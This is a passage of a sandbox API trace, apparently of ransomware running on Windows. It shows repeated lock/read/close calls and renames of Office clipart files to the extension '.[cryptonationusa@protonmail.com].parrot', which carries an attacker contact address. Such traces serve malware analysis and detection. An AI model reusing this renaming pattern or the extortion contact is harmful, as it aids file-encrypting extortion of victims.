"c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.148] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa55d, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.148] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.148] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.149] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa445, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa445, lpOverlapped=0x0) returned 1 [0151.152] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.153] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa55d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.153] CloseHandle (hObject=0x27c) returned 1 [0151.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.161] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cba, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.161] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.163] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ba2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ba2, lpOverlapped=0x0) returned 1 [0151.164] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.166] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.166] CloseHandle (hObject=0x27c) returned 1 [0151.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.170] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3337, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.170] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.177] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.177] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x321f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x321f, lpOverlapped=0x0) returned 1 [0151.178] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.179] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3337, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.179] CloseHandle (hObject=0x27c) returned 1 [0151.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0151.183] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbec6, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.183] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.183] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.185] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbdae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbdae, lpOverlapped=0x0) returned 1 [0151.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.188] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbec6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.188] CloseHandle (hObject=0x27c) returned 1 [0151.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0151.196] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100e, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.196] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.197] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.198] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xef6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xef6, lpOverlapped=0x0) returned 1 [0151.198] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.198] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.198] CloseHandle (hObject=0x27c) returned 1 [0151.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0151.202] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7bc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.202] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.203] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.204] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7aac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7aac, lpOverlapped=0x0) returned 1 [0151.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.209] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7bc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.209] CloseHandle (hObject=0x27c) returned 1 [0151.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRTINST.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrtinst.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0151.219] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ee, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.219] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.220] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.221] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d6, lpOverlapped=0x0) returned 1 [0151.221] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.222] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.222] CloseHandle (hObject=0x27c) returned 1 [0151.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0151.227] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf22, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.227] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.229] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe0a, lpOverlapped=0x0) returned 1 [0151.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.230] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.230] CloseHandle (hObject=0x27c) returned 1 [0151.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0151.234] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x88e, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.236] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x776, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x776, lpOverlapped=0x0) returned 1 [0151.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.236] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x88e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.236] CloseHandle (hObject=0x27c) returned 1 [0151.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.240] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc2a, nNumberOfBytesToLockHigh=0x0) returned 1 [0151.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.240] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.242] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb12, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb12, lpOverlapped=0x0) returned 1 [0151.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.243] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0151.243] CloseHandle (hObject=0x27c) returned 1 [0151.243] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.247] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.249] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6ec, lpOverlapped=0x0) returned 1 [0151.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0151.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0151.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0151.253] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0151.253] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0151.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.255] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd16, lpOverlapped=0x0) returned 1 [0151.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RECYCLE.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\recycle.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0151.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0151.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | 